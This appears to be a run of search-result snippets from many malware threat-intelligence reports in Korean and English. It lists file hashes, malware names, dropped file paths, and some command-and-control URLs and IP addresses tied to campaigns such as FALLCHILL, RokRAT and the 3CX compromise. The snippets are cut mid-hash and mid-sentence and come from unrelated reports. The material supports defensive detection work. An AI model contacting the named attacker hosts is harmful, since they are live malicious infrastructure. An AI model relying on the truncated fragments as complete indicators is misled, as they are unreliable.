c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 MD5 SHA1 SHA256 Malicious ICO…","…불분명한 메일의 첨부 파일을 실행하지 않도록 주의가 필요하다. [파일 진단] Dropper/JS.Generic (2023.11.16.02) Backdoor/Win.Nikidoor (2023.11.15.03) MD5 d2335df6d17fc7c2a5d0583423e39ff8 d6abeeb469e2417bbcd3c122c06ba099 URL http://rscnode.dothome.co.kr/index.php http://rscnode.dothome.co.kr/upload.php…","…File Name cow.gif MD5 0e595fb4462e99f392d441d960f8bc93 File Name exe.gif MD5 d264875dab332d3475b99461310d7fff 복호화를 거치면, 'EGIS Co., Ltd.' 디지털 서명을 가진 악성 파일이 확인됩니다.…","…43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f3dff7779795fc01291b0a31d723aca 7e8c24bb3b50d68227ff2b7193d548dd d287dcaeaf17c9dae8a253994502ee58 이 글 공유하기 Facebook LinkedIn Email…","…From September 2019 , CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47 ). Figure 4.…","…Size 233472 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 c01dc42f65acaf1c917c0cc29ba63adc SHA1 d288766fa268bc2534f85fd06a5d52264e646c47 SHA256 4257bb11570ed15b8a15aa3fc051a580eab5d09c2f9d79e4b264b752c8e584fc SHA512…","…b1 31662a24560b3fe1f34f0733e65509ff a196fb11a423076f66f5e4b2d02813a9 ad3433f5f64abdec7868a52341f14196 c0cac70c93d213d113001e3410c24fd2 d2b2c6646535a62e4c005613d6a036f0 e726b59f96ab8360f323469d72b8b617 ea95109b608841d2f99a25bd2646ff43 f13a4834e3e1613857b84a1203e2e182 f3603f68aadc8bc1ea8939132f0d5252 2f…","…Visual C++ 6.0 DLL f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 Tags trojan Details Name D2DA675A8ADFEF9D0C146154084FFF62 Size 139264 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 d2da675a8adfef9d0c146154084fff62 SHA1…","…Name D2DE01858417FA3B580B3A95857847D5 Size 167937 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 d2de01858417fa3b580b3a95857847d5 SHA1…","…(MDS) MD5 80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740 URL…","…fd cace67b3ea1ce95298933e38311f6d0b 645adf057b55ef731e624ab435a41757 bde4747408ce3cfdfe8238a133ebcac9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 389172d2794d789727b9f7d01ec27f75 Do…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-04-13 23:44:03-04:00 Import Hash d31e404296b957729148721e11f3bc88 PE Sections MD5 Name Raw Size Entropy 1db5d7f5d8e2fa35f4077d3c28b60ae7 header 1024 3.229935…","…Lilith RAT 0ecac57958e77648b5e5b47787612f992175bf22e00dbf8ea4de0b9f12dea2d8 SHA-256 Custom Lilith RAT d3590bf0017815f77bd286b4c47f186832ab2b48f123f95ca4cbc25b95ff8ef3 SHA-256 Custom Lilith RAT 0c5b6081e73a500825eae5687961565bf0e918e91002ce5ff10185ac969a792b SHA-256 Custom Lilith…","…A_Century_Long_Peace_Architecture_for_Russia-Ukraine_Introduction.pdf.lnk SHA256 d398f11c236a59e44a9dff6f99af3aacefcb4a4bdf77bb7cf790cd0b13b0439a CV_OlesiaTsvientukh_SocialResearcher_Sociologist_Qualitative.lnk SHA256…","…8b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 17…","…SHA256 9f2cc22a74499b0a5b39a8f4732ff74d7338addd972387302016ba5a026936ac Scheduled Task Registration Script for VelvetCake SHA256 d3e599af47b110ab526ee38edaae68df3d8ab257e689e6f6f84d6db7d3ba5937 Scheduled Task Registration Script for VelvetCake (LICENCE) SHA256 467660ef31b8ec248ae434fdee0a68de5098bcfd08776a4004ccbdcd7904bd37…","…2019-04-01 17:15 Last Modified Name windowsmb C2 https://tdalpacafarm.com//wp-includes/Text/Diff/common/Htqgf0.hta MD5 d400adcd06e0a07549e2465c9c500c45 File Name The_Progress_and_Promise_of_the_Moon-Kim_Summit.doc Last Modified Date (KST) 2019-04-09 17:02…","…Last Modified Name windowsmb C2 https://tdalpacafarm.com//wp-includes/Text/Diff/common/Htqgf0.hta MD5 d400adcd06e0a07549e2465c9c500c45 File Name The_Progress_and_Promise_of_the_Moon-Kim_Summit.doc Last Modified Date (KST) 2019-04-09 17:02 Last…","…(2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…extended partition table (last) MD5 48ded52752de9f9b73c6bf9ae81cb429 SHA1 1e8a2f1f751e5a9931bca5710b4f304798d665dc SHA256 d404c0a634cef0d32029286fde8efccb6dfe1809066bbec7ac32d42c5ce3bc04 SHA512…","…(GUI) Intel 80386, for MS Windows MD5 18cfd7e01da5d30a27a885164d5a7b9b SHA1 40c5103cd9681a2830667957f3e3d037fd25b6c9 SHA256 d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 SHA512…","…101.36.114.190 MD5 ba00e1a70e5da6ed610652a93e7cc7dd a6598bbdc947286c84f951289d14425c 85f5075610661c9706571a33548d7585 d414e3718ad82a9925339ac8338b77a6 SHA-256…","…def0975728fc5da61c022bb62b7160e2764631b852ec7f83951263c7830bec8d File C:\\Users\\ \\AppData\\Roaming\\Microsoft\\pow.ps1 d41c943fd5ffacde74f487df6a43b72e9730f05812b9b1f8dc874bd486f182b3 File c:\\users\\ \\appdata\\roaming\\Microsoft\\living.log (Hash varies based off the current time) File C:\\Users\\…","…fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b 66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b9…","…Size 2517160 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 45eb8f06c5f732e8dde8e9318d8b2392 SHA1 d4583cba9034a3068f8106b5013d37d7bdd46f38 SHA256 a84ed8ce714dff76b48b26414de9f045de561146d7eaa09019cbfbb2586c9765 SHA512…","…Name PSLogger .dll Size 138240 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 d45931632ed9e11476325189ccb6b530 SHA1 081d5bd155916f8a7236c1ea2148513c0c2c9a33 SHA256 efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e SHA512…","…The Base64 DLL can be copied, converted, and saved to another file for analysis. Extracted DLL MD5: d45931632ed9e11476325189ccb6b530 SHA1: 081d5bd155916f8a7236c1ea2148513c0c2c9a33 SHA256: efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e The extracted…","…Package Kit APPENDIX B: LIST OF STUDIED SAMPLES Hashes are SHA256. 766d7d591b9ec1204518723a1e5940fd6ac777f606ed64e731fd91b0b4c3d9fc d4616f9706403a0d5a2f9a8726230a4693e4c95c58df5c753ccc684f1d3542e2 95c8ffe03547bcb0afd4d025fb14908f5230c6dc6fdd16686609681c7f40aca2 99017270f0af0e499cfeb19409020bfa0c2de741e5b32b9f6a01c34fe13fda7d…","…XCOFF executable or object module MD5 b3efec620885e6cf5b60f72e66d908a9 SHA1 274b0bccb1bfc2731d86782de7babdeece379cf4 SHA256 d465637518024262c063f4a82d799a4e40ff3381014972f24ea18bc23c3b27ee SHA512…","…2c 94935397dce29684f384e57f85beeb0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6aa7e9ff0528425146e64d9472ffdbd C2…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 17ab2927a235a0b98480945285767bcf SHA1 d4b96e9d966b0f1e9ff1ef61a8d09c9020254652 SHA256 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd SHA512…","…sends an HTTP POST request to the CnC server: www.worker.co.kr for md5 BDAEDB14723C6C8A4688CC8FC1CFE668 www.palgong-cc.co.kr for md5 D4C93B85FFE88DDD552860B148831026 In the format: HTTP POST to www.worker.co.kr /board2004/Upload/files/main.asp?idx=%d&no=%s&mode=%s OR HTTP POST to…","…Size 69104 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 d4d1bcdfb67ee30303f30137db752b94 SHA1 34e134d614a0d5b0e4d94d63336aa8b898b0b104 SHA256 bb430087484c1f4587c54efc75681eb60cf70956ef2a999a75ce7b563b8bd694 SHA512…","…19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 d5101c3b86d973a848ab7ed79cd11e5a 3dc840d32ce86cebf657b17cef62814646ba8e98 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec…","…3CXDesktopApp-18.12.416.dmg|3CXDesktopApp-latest.dmg Size 164.2MB (172150545 Bytes) File Type Macintosh Disk Image MD5 d5101c3b86d973a848ab7ed79cd11e5a SHA1 3dc840d32ce86cebf657b17cef62814646ba8e98 SHA256 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec The…","…MD5 SHA1 SHA256 3CX macOS Installer File d5101c3b86d973a848ab7ed79cd11e5a 3dc840d32ce86cebf657b17cef62814646ba8e98 e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec MD5 SHA1 SHA256 3CX macOS…","…(GUI) x86-64, for MS Windows MD5 c2c5751cdfdbe9fac44337d4cb6e74e4 SHA1 02678efe715ff2658c6a4c2b596046b744a8b222 SHA256 d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 SHA512…","…⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫ bd7a422b40df870285ec5620053ca0b2 ⚫ d554724c6392c9f2c2bc073d0a7ce21f E.…","…IP 62.113.118.157 192.109.119.113 185.231.154.22 93.183.93.185 94.103.87.212 MD5 d5669c046c78f54d2acb353626bb3bcf ec6842538f6166462d498279b8a462b3 29b0a6b9608540b9446c0fb14a36f0b0 SHA-256…","…MD5 022298cf16c0c44d7b01b5de2cf84023 SHA1 939ec41183bbe1f4fb65c924323543ee91a35dbf SHA256 d5ac680e14b013e0624470da7f46e84809d00b59a7544f6a42b110cf0e29254e SHA512…","…e5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46…","…침해 지표 (Indicator of Compromise) ● MD5 d5dd153ac17a79723f33fb45849a533b 844fb1dddeb432d9c950965fb78d1c52 31909632fb7f1a53507f65a1ae96a519 234158822419e64d8d3c177d3169bc3e f25ae3627b4ec411882d56732e0fa433 dfa3a2e…","…SHA-1 2bd2657c4924e2cb6f2ae33997262c7cd8432fe1 07c7cf4441254e8754aa62150bf8c5365c3825f4 bc36b9e8cf23dc0287f090a5c0bad3b391d00f86 d5eb074d6db0e5b0725389236e883915d629de21 URL http://mrasis.n-e.kr/ http://101.36.114.190/accounts.kakao.comwebloginfind_account/showHeader/nate.php Remediation Block all…","…772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5 d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48 Hashes detected as JS_DLOADER.ZBEL-A 8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3 Hashes detected…","…April 2018 Attack Indicator Type Indicator Hash 07b90088ec02ef6757f6590a62e2a038ce769914139aff1a26b50399a31dcde9 Hash d5fc0ef2d1ed037b5b6389882f9bb4ea15a6b41f21cdc0f5e90752f4e687445c Folder %LOCALAPPDATA\\MicroSoft Update1 File %LOCALAPPDATA\\MicroSoft Update1\\svServiceUpdate.exe File %TEMP%\\uplog.tmp…","…Indicator of Compromise MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64…","…쉘코드 최종적으로 실행되는 RokRAT 악성코드는 사용자 정보를 수집하고, 공격자의 명령에 따라 다양한 악성 행위를 수행할 수 있어 각별한 주의가 요구된다. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…malicious behaviors according to the threat actor’s commands, so extra caution is advised. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 Gain access to related IOCs and detailed analysis by…","…침해 지표 (Indicator of Compromise) MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 ae7e18a62abb7f93b657276dcae985b9 d5fe744b9623a0cc7f0ef6464c5530da f6d72abf9ca654a20bbaf23ea1c10a55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64…","…Hash-MD5 31dab68b11824153b4c975399df0354f Hash-MD5 54a116ff80df6e6031059fc3036464df Hash-MD5 d6114ba5f10ad67a4131ab72531f02da Hash-MD5 05a00c320754934782ec5dec1d5c0476 Hash-MD5 f107a717f76f4f910ae9cb4dc5290594 Hash-MD5…","…Name dorusio_upgrade Size 33312 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 d620c699a5b1828aca699b5aee77e5e6 SHA1 e769a810389f931b748bbe80742c427126c063a4 SHA256 dcb232409c799f6ddfe4bc0566161c2d0b372db6095a0018e6059e34c2b79c61 SHA512…","…80f381a20d466e7a02ea37592a26b0b8 946e1e0d2e0d7785d2e2bcd3634bcd2a b6d11017e02e7d569cfe203eda25f3aa d2eb306ee0d7dabfe43610e0831bef49 d6a38ffdbac241d69674fb142a420740 URL…","…0a a9a52e2f2afe28778a8537f955ee1310 a58ef1e53920a6e528dc31001f302c7b ad6273981cb53917cb8bda8e2f2e31a8 d4b06cb4ed834c295d0848b90a109f09 d6aa7e9ff0528425146e64d9472ffdbd C2…","…[파일 진단] Dropper/JS.Generic (2023.11.16.02) Backdoor/Win.Nikidoor (2023.11.15.03) MD5 d2335df6d17fc7c2a5d0583423e39ff8 d6abeeb469e2417bbcd3c122c06ba099 URL http://rscnode.dothome.co.kr/index.php http://rscnode.dothome.co.kr/upload.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석…","…(암호화된 페이로드) Trojan.BIN.Encoded C91C604148FE191C877B686B3888581B MD5 샘플 3 - 고객현황_202604.lnk Trojan.Agent.LNK.Gen D6B31850E1DB191A6F9056DD5C4B55DD MD5 샘플 3 - Anlab Auto.vbs (지속성) Trojan.VBS.Agent.gen 6C35EB0E29DE1D24824DD3A79436E1BC MD5 샘플 3 - po1ker.bat (디코더)…","…e668d7 bcafd808237f1f29bdae4e45d75d925fb4fa3d7fe7f85abb953ba3f33aa29efc bcfa523b1d55fcadc89bfee8f7c9abac3497f7760485843e6f58fe666984aa00 d6fcaf76b6837551e40184279c466e00d0e9b359b27ea335e3945d295f4f9cfa e40347e7cd335b43a0d27b33521684754f66d1e3be714f22a68e27d396a63faf eaef808e1ac99d13481b23b9dbdb6d246b14feaf35db0b592412dc213e619cc5 ff44d3…","…Below is the meta information about the decrypted final payload in memory: MD5: d7089e6bc8bd137a7241a7ad297f975d File Size: 143,872 bytes File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link Time: 2018-03-16 07:15:31 We can…","…2017-01-18 04:29:29 --End MD5 and timestamp-- File Properties for this sample of FALLCHILL after decryption: MD5: d7089e6bc8bd137a7241a7ad297f975d SHA-1: 15062b26d9dd1cf7b0cdf167f4b37cb632ddbd41 SHA-256: 08012e68f4f84bba8b74690c379cb0b1431cdcadc9ed076ff068de289e0f6774 FALLCHILL…","…악성파일 정보 파일명 국가연합과연방제 .hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 d716d836a9b904a03886a262f783c15f [ 표 20] ‘ 국가연합과연방제 .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 북한연구학회 _2017 하계학술회의패널신청서 .hwp 경로 D: \\ HighSchool \\ version…","…MD5_1 = \"f9e6c35dbb62101498ec755152a8a67b\" SHA256_1 = \"1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954\" MD5_2 = \"d742ba8cf5b24affdf77bc6869da0dc5\" SHA256_2 = \"7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799\" MD5_3 = \"aefcd8e98a231bccbc9b2c6d578fc8f3\" SHA256_3 =…","…RAT\" MD5_1 = \"f9e6c35dbb62101498ec755152a8a67b\" SHA256_1 = \"1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954\" MD5_2 = \"d742ba8cf5b24affdf77bc6869da0dc5\" SHA256_2 = \"7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799\" MD5_3 = \"aefcd8e98a231bccbc9b2c6d578fc8f3\" SHA256_3 =…","…88 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46ca088d5c052738d42bbd6231cc0ed5…","…One of the examples (SHA256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39) provided by CISA contained a public SSL certificate and encrypted payload.…","…Name F8D26F2B8DD2AC4889597E1F2FD1F248 Name d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 Size 456241 bytes Type data MD5 f8d26f2b8dd2ac4889597e1f2fd1f248 SHA1 dd132f76a4aff9862923d6a10e54dca26f26b1b4…","…One of the examples (SHA256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39) provided by CISA contained a public SSL certificate and encrypted payload. SLICKSHOES SLICKSHOES is typically utilized as a…","…Name Lost_File1_so_file Size 114688 bytes Type 64-bit XCOFF executable or object module MD5 d790997dd950bb39229dc5bd3c2047ff SHA1 7e6407c28c55475aa81853fac984267058627877 SHA256 3a5ba44f140821849de2d82d5a137c3bb5a736130dddb86b296d94e6b421594c SHA512…","…41.85.145 . 164:8080/open?topic= Hashes (MD5) 097698566 d9c88a520e0d5459566a6b1 8cc8bdc017b103f4dbd00e6336809594 d7b8c3c986495a814c9b8bd10d3f5eef 7d9d91748258e35176386497765dbc 00 cd0a391331c1d4268bd622080ba68bce 15f1ae1fed1b2ea71fdb9661823663c6…","…certificate serial # 9599605970805149948 MsMpEng.exe SHA256: 24d5dd3006c63d0f46fb33cbc1f576325d4e7e03e3201ff4a3c1ffa604f1b74a SHA1: d7ba13662fbfb254acaad7ae10ad51e0bd631933 MD5: 19dbffec4e359a198daf4ffca1ab9165 Command and Control Mandiant identified that malware within the 3CX environment made use of the…","…registry to fe tch the decryption key, and the encrypted payload. Name: lcsvsvc.dll MD5: c635e0aa816ba5fe6500ca9ecf34bd06 SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120 File s ize: 1'545'216 bytes F ile t ype: PE32+ executable…","…// vscode-bootstrap.sh MD5:72c3eea054187471a5d00b8d7c721b42 // deobf_ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.npl MD5:ea31f66a5164a394ce3a7253db49dd79 //…","…침해 지표 (Indicator of Compromise) ● MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 7ca1a60…","…MD5 adb30d4dd9e1bbe82392b4c01f561e46 b591cbd3f585dbb1b55f243d5a5982bc d8249f33e07479ce9c0e44be73d3deac 0def51118a28987a929ba26c7413da29 2ff911b042e5d94dd78f744109851326 3cd67d99bcc8f3b959c255c9e8702e9f 6ead104743be6575e767986a71cf4bd9 65…","…1768f2e9cea5f8c97007c6f822531c1c9043c151187c54ebfb289980ff63d666 6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471 f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b…","…Windows Known file name: C:\\Windows\\system32\\ uploadmgrsvc.dll Link time: 2018-01-18 01:56:32 Encrypted Fallchill backdoor: MD5: d8484469587756ce0d10a09027044808 File Size: 143,872 bytes File Type: encrypted data Known file name: C:\\Windows\\system32\\ uploadmgr.dat Upon starting,…","…98 3439de0b221320f58e3432c2672c4074 a489b72510dfd07e6d05b07e8547cf25 9edbd2f21b81183770fd767b31c2458c 959e71b8f743a202eb80b65acbb60f7c d8508b3c7ba4f2b9ed1cf3ff28fd6b83 22a477da55c7391dd0fc6176241d108e SHA-256…","…CollectionRAT SHA256 hashes: db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 d8565d58ad8e4f5558b5cd70df0ad12be9cf44e32ad07aaac6f65b816edbf414 Updated Sept.…","…comment (THOR APT Scanner) | Xeno-Rat Hashes | | user0.bin SHA1: | 57cb8dca59c6fd0aab69c052c93fcece4fc3d0ff | | user0 SHA1: | d8591a62916984952383b789e8ab2697f4642c63 | /upload Continued Within another folder is a Microsoft Excel spreadsheet consisting of a benign transaction document for an individual…","…MD5 (Kimsuky / ReconShark) cb82751ae9f84709268fd5e5b135b74e 5f6303697bf8e978bf674ea8a7094673 cb82751ae9f84709268fd5e5b135b74e d87ba0743c3de99f02b277068b9aea95 1cfef99f68b749d81736397e652c3d87 a27a6dbb2144f2dff187d8abc7b3eafb ● MD5 (Mustang Panda /…","…Hash-SHA256 c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9 Hash-SHA256 d8a9879a99ac7b12e63e6bcae7f965fbf1b63d892a8649ab1d6b08ce711f7127 Hash-SHA256 f8812f1deb8001f3b7672b6fc85640ecb123bc2304b563728e6235ccbe782d85 Hash-SHA256…","…(GUI) Intel 80386, for MS Windows MD5 12c786c490366727cf7279fc141921d8 SHA1 a2e966edee45b30bb6bb5c978e55833eec169098 SHA256 d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 SHA512…","…After decompressing, we extracted the PE32 binary from it. MD5 hash of the extracted binary: d8c9a357da3297e7ccb2ed3a5761e59f Filename: HancomReader.scr PDB path: E:\\Project\\windows\\TOOLS\\RunCmd\\Release\\RunCmd.pdb Figure 18 shows the relevant code in…","…// stager_nix.sh MD5:2e3fdb5b8befdb9b48cb1a5468dfc164 // stager_win.ps1 MD5:b42652763f78183cf779811dc2cb13bb // vscode-bootstrap.ps1 MD5:d8cc49f56265ca137a73a275379704fa // vscode-bootstrap.sh URL:http://141.94.148.39:1224 URL:http://141.94.148.39:1224/api/checkStatus References Bitso Quetzal Team…","…Size 1102926 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 688890ddbf532a4de7c83a58e6aa594f SHA1 d8f6a7f32c929ce9458691447ff1cf6d180588c8 SHA256 1ea6b3e99bbb67719c56ad07f5a12501855068a4a866f92db8dcdefaffa48a39 SHA512…","…N9371.js ae6ebf3fcde78bb6da37e302a2a579ee tt8.tmp 3126dfaee1fc0c05f62bafcbbc49782d 38243.tmp d916a1648c2de4c4e5f10fdc3f64d40d nD9327.tmp 245d729238809b580179b70b7347cf65 [표 10] k.zip에 포함된 파일 정보 ○ p.ps1 파일들에서 74.50.94.175의 9992번 포트로…","…gaps across any user activity or endpoint. Indicators of Compromise (IoCs) Files SHA256s Detection Names Album.app d91c233b2f1177357387c29d92bd3f29fab7b90760e59a893a0f447ef2cb4715 Trojan.MacOS.NUKESPED.B Flash Player 735365ef9aa6cca946cfef9a4b85f68e7f9f03011da0cf5f5ab517a381e40d02 Trojan.MacOS.NUKESPED.B…","…more via the NOKKI tag Appendix Indicators of Compromise July 2018 Attack Indicator Type Indicator Hash d92c94423ec3d01ad584a74a38a2e817449648a4da3f12d345c611edc5c4cdbd Hash dce53e59b0c48e269dadc766a78667a14f11b72c49f57d95abde62c84ac8d7ae Hash…","…(SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2) C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0) The content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR…","…Figure 17 - edd2aff8fad0c76021adc74fe3cb3cb1a02913a839ad0f2cf31fdea8b5aa8195 Tags backdoorspywaretrojan Details Name D93B6A5C04D392FC8ED30375BE17BEB4 Size 321730 bytes Type Java archive data (JAR) MD5 d93b6a5c04d392fc8ed30375be17beb4 SHA1…","…0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae URL…","…The following lists the malware in the order of versions. Number File MD5 Version Information install Argument C2 1 d9b15979e76dd5d18c31e62ab9ff7dae X (N/A, first collected in Jul.…","…Malware Mandiant also identified a MacOS backdoor, currently named SIMPLESEA , located at /Library/Graphics/Quartz (MD5: d9d19abffc2c7dac11a16745f4aea44f).…","…Name uploader77j.disk.yandex.net MD5 2fa8f5f95577db335e649d5361c845b0 ed825fe83c096ca29754c6b4e7e98384 SHA-256 d9e3eba6067eec0aa32214b2a9811f4b579b66b34fe4e5bff4d754102dffdb91 5aacff1d13e872d1707c6d86646c886194cebac0eb28b8cf8389b333a7ff5600 SHA1…","…Size 79760 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 da17802bc8d3eca26b7752e93f33034b SHA1 e8f29f1e3f35a4f2c18be424551e280ed66b1dd7 SHA256 631ac269925bb72b5ad8f469062309541e1edfec5610a21eecded75a35e65680 SHA512…","…data, at least v2.0 to extract MD5 eb7da5f1e86679405aa255aa4761977d SHA1 880cb39fee291aa93eb43d92f7af6b500f6d57dc SHA256 da353b2845a354e1a3f671e4a12198e2c6f57a377d02dfaf90477869041a044f SHA512…","…MD5 SHA1 SHA256 Malicious ICO File da667174c2d145a4d9b3b39387fbd7dd 8377fb40c76aa3ba3efae3d284fa51aa7748e010 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d MD5 SHA1 SHA256 Malicious ICO…","…모두 설날 잘 보내시고 새해복 많이 받으세요!!! IOC FileName : PDF오성사 MC2-500 외형도 P1307033 Model_수정.pdf.exe MD5 : DA799D16AED24CF4F8EC62D5048AFD1A SHA1 : DE700699E8185497A82BB121FCC4CC6B470F1CE3 SHA256 